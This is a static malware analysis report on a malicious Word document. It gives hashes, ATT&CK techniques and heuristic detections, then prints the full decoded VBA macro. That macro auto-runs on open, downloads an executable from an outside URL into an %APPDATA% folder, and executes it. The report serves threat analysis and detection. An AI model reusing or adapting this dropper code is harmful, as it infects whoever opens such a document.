Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f6aaec897a85c2a8…

MALICIOUS

Office (OLE)

32.5 KB Created: 2014-03-09 18:07:00 Authoring application: Microsoft Office Word First seen: 2014-07-06
MD5: e15c9f7ce55a6bec627cbac312bd75ad SHA-1: 0e434b4da6bb57092aa939a0484bb1b9a2237617 SHA-256: f6aaec897a85c2a8d4dd8f9b3901438fcd47aa1b80a11e065f3ae0dced01d010
446 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1566.001 Spearphishing Attachment

The sample is a malicious Office document that uses a lure to trick the user into enabling macros. The VBA script within the document utilizes WScript.Shell to download a second-stage executable from 'http://fantasia-films.com/cache/march10.exe' and executes it. The script also creates a folder '%APPDATA%\RUYIJHBIVDN' which may be used for staging or persistence.

Heuristics 14

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set WXABAONUJHJ = CreateObject("WScript.Shell")
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
        Set WXABAONUJHJ = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .write SSFMWYGDQIE.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set WXABAONUJHJ = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://fantasia-films.com/cache/march10.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2136 bytes
SHA-256: be2fd8646c139f88d4f77a077968eff9ac7cf3e9884806639d8c30f7c1ba3b25
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
OYDTEYULGWL
End Sub
Function BDURHAAHRJP(BDOBKPURVET)
    Dim PDJOPZSNSFX, AQUVKMWQYVO, HHRFHBKGHFE, STUJXIVONEF, ECEXMPOLAKT, AWCXKRQCMYR
    Dim WXABAONUJHJ
    Set WXABAONUJHJ = CreateObject("WScript.Shell")
    ECEXMPOLAKT = ""
    Set PDJOPZSNSFX = CreateObject("Scripting.FileSystemObject")
    If (PDJOPZSNSFX.FolderExists(BDOBKPURVET)) Then
        Set AQUVKMWQYVO = PDJOPZSNSFX.GetFolder(BDOBKPURVET)
        Set HHRFHBKGHFE = AQUVKMWQYVO.Files
        
        For Each STUJXIVONEF In HHRFHBKGHFE
        Dim ZTXHAXEXLSG
        ZTXHAXEXLSG = BDOBKPURVET & "\" & STUJXIVONEF.Name
        WXABAONUJHJ.Run Chr(34) & ZTXHAXEXLSG & Chr(34), 1, True
    Next
        Set STUJXIVONEF = Nothing
        Set HHRFHBKGHFE = Nothing
        Set AQUVKMWQYVO = Nothing
    End If
    Set PDJOPZSNSFX = Nothing
End Function
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
Sub OYDTEYULGWL()
Set SJUZZJKHOXN = CreateObject("WScript.Shell")
IIXTLYVHBXL = SJUZZJKHOXN.ExpandEnvironmentStrings("%APPDATA%")
Dim AZHAPUWEEFO: AZHAPUWEEFO = IIXTLYVHBXL & "\RUYIJHBIVDN"

 Set PDJOPZSNSFX = CreateObject("Scripting.FileSystemObject")
   If (PDJOPZSNSFX.FolderExists(AZHAPUWEEFO)) Then
   Else
   Set oPDJOPZSNSFX = CreateObject("Scripting.FileSystemObject")
      oPDJOPZSNSFX.CreateFolder AZHAPUWEEFO
   
End If
Dim KLFBJVCTPUT: Set KLFBJVCTPUT = CreateObject("Adodb.Stream")
Dim SSFMWYGDQIE: Set SSFMWYGDQIE = CreateObject("Microsoft.XMLHTTP")
SSFMWYGDQIE.Open "GET", "http://fantasia-films.com/cache/march10.exe", False
SSFMWYGDQIE.Send
With KLFBJVCTPUT
    .Type = 1
    .Open
    .write SSFMWYGDQIE.responseBody
    .savetofile IIXTLYVHBXL & "\RUYIJHBIVDN\MGGXKPAXGAL.com", 2
End With
Call BDURHAAHRJP(AZHAPUWEEFO)
End Sub

Attribute VB_Name = "NewMacros"